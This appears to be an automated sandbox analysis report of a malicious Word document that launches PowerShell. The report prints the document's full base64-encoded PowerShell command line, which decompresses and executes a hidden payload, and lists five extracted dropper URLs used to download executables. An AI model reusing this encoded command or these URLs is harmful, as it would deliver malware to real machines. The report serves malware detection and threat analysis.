Analysis

  • max time kernel
    137s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 03:11

General

  • Target

    74b7937d9dde45f0074f84a9b498f78aJaffaCakes118.doc

  • Size

    116KB

  • MD5

    74b7937d9dde45f0074f84a9b498f78a

  • SHA1

    1277e5b4de10821cd4639c7b7d8432c63eef80bf

  • SHA256

    0da2937ce8a3abe5aea37dd08b2e0d20e384dfa9fbdaa322cd65c554bbfe245f

  • SHA512

    056b1b624abb1ef2d5b26cac5aa6117d191309d89b6d2f4e3b4b1086d1bce450f60458c36b92b07dafb5f500346b2f298f69dd09a878383dbf69d9e18acb1d5d

  • SSDEEP

    1536:DD7MGWIgX0z/OGNFK+agC//4n/+ssAeTQDg4C:P79yXsE/g/+PAe8DnC

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://weltcars.com/KQRlI5J2z/

exe.dropper

http://www.lexus8.com/application/app/storage/fcUvyw/

exe.dropper

http://tramper.cn/mYxYbKPAYL/

exe.dropper

http://www.dadaizm.com/8NsZJvZYoy/

exe.dropper

http://mguize.com.br/ljvj3K7/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74b7937d9dde45f0074f84a9b498f78aJaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\System32\WindowsPowerShell\v1.0\PowersHeLL.exe
      PowersHeLL -e KAAgAG4AZQB3AC0ATwBiAGoARQBDAHQAIAAgAHMAeQBTAFQAZQBtAC4AaQBvAC4AYwBPAE0AUAByAEUAUwBTAEkATwBOAC4AZABFAEYATABBAHQARQBzAFQAcgBlAEEAbQAoACAAWwBzAFkAUwBUAGUAbQAuAEkAbwAuAG0ARQBtAE8AcgB5AHMAdAByAGUAYQBNAF0AIABbAEMATwBuAHYARQByAHQAXQA6ADoAZgByAG8ATQBiAGEAUwBlADYANABzAHQAUgBJAG4ARwAoACcAVgBaAEIAdABTADgATQB3AEYASQBYAC8AUwBqADQAVQB1AHEARgBMAGMAQwBxAEsAUgBYAEQANABBAGoAcQBkADAAeQBvADYARQBTAFIATgA3ADkAYgBVAE4ASwBuAEoAWABkAHQAdAA3AEwAKwBiAFQAaQBmADQASgBTAFQAMwBuAEgATQBQAGUAWQBMAHoAeAA2AHAAVwA1AEoAUgBvAHEASABzAG0AeQBVAEUAZwBzAFYAeQBuAHAAbwBpAEMAMQAxAFQAZgBYAC8AKwBYADQAbwBWAEQASwBPAGcASQBrAEwANQBBAGMAcQA0AGsAYQBJAHkAQwBzAFIAcwBVADgAYwBnADcAdwB3AHkAeABkAEMAZQBNADEAYQBCAFEAYwBPAHUAbwBNAEEAVQBiAFAAagB5AHEANgA4AE8AYgAvAHAASwBkAHQAWABvAHIAMQB6AFYAVgAwAE0AegBkADgAYwBiAEEAeQAxAEoASgB3AFYARQBhADMAZAA2AFoAUQAyAFAANQBEAE4AaABVAFAARgBlAEwAKwBpACsARgBsAGgAYwBsAFcAQwBvADAASwB5AGIATgBKAEIAbQBPAEIANQBQAGIAZgB6AHQAVABuAG4ASwA1AEwARABaAEwAagAwAGYAdQA3AGEAWgA2AG0ANQBqAEYAbgA2AFcAWQB6AGUAVQBTAFcAcABVAG0AbABxAG0AOAB5AHYAZQBIAFIAeQB5AGsAcwBhAC8ASABUAG4AZwBXAGQAcQBOAEEAcQBaAHgALwBqAHYAMQBmAGcAZwAwAFoAcQBxAEgAQgB6AHQANAB1ADYAZQA4AGYAOQBBACsATwB2AE8ASABMAEcAYQBrAEcAcgBRAEYAMABkAGUASgBwAGwARwBTAEgAaABPACsAaABQADcAZABoAC8ANgBiAFEAUQBCAGgATgBqAFEAVQB1AHMAawA2AFEAWgAxAE8AeABGAEUAUgBxADgAZwB1AHIAdQAwAEsANwBXAFAAMABnAHAAaABlAG0AMQBzAHIAdwA5AEUAbwBxADIASAByAHAAawA0AG4AUgBTAGoAMwByAGQASABmAEoAYgAyAGsAMwBpAHAARgBiADcASQAyAHQARQBlAEQAYwBkAGgAdwBsAHYAdQBVAHoAVwBuAHUAQwBJAGwAdgBWAFYAaQBMADAATQB1AE8AUQBCAEIALwAwAHMAaABGAFEAdABtAEQAcABuAFUAOQA0AHEATgBGADYALwBRADAAPQAnACkAIAAsACAAWwBpAE8ALgBjAE8AbQBQAHIARQBTAFMAaQBPAG4ALgBjAE8ATQBwAFIARQBzAHMAaQBvAG4AbQBPAEQAZQBdADoAOgBkAGUAYwBvAE0AcABSAGUAcwBTACAAKQB8ACUAewBuAGUAdwAtAE8AYgBqAEUAQwB0ACAAIABTAHkAUwB0AGUATQAuAGkATwAuAFMAVABSAEUAQQBNAHIAZQBhAEQAZQBSACgAIAAkAF8AIAAsAFsAUwBZAFMAdABFAE0ALgBUAEUAWAB0AC4AZQBuAEMAbwBEAGkATgBnAF0AOgA6AGEAcwBjAGkAaQApAH0AIAB8ACAAJQAgAHsAIAAkAF8ALgBSAEUAYQBkAFQAbwBFAE4AZAAoACAAKQB9ACkAfAAmACAAKAAgACQAcwBIAGUAbABMAGkARABbADEAXQArACQAcwBIAGUAbABsAEkAZABbADEAMwBdACsAJwB4ACcAKQA=
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2108

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dgovz5cn.kuj.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • memory/2108-44-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2108-540-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2108-537-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2108-50-0x0000025222390000-0x00000252223B2000-memory.dmp

    Filesize

    136KB

  • memory/2228-7-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-6-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-0-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-11-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-14-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-16-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-17-0x00007FF8C0600000-0x00007FF8C0610000-memory.dmp

    Filesize

    64KB

  • memory/2228-13-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-12-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-15-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-10-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-18-0x00007FF8C0600000-0x00007FF8C0610000-memory.dmp

    Filesize

    64KB

  • memory/2228-9-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-38-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-43-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-8-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-5-0x00007FF90296D000-0x00007FF90296E000-memory.dmp

    Filesize

    4KB

  • memory/2228-4-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-3-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-534-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-535-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-536-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2228-2-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-1-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-563-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-562-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-561-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-560-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

    Filesize

    64KB

  • memory/2228-564-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

    Filesize

    2.0MB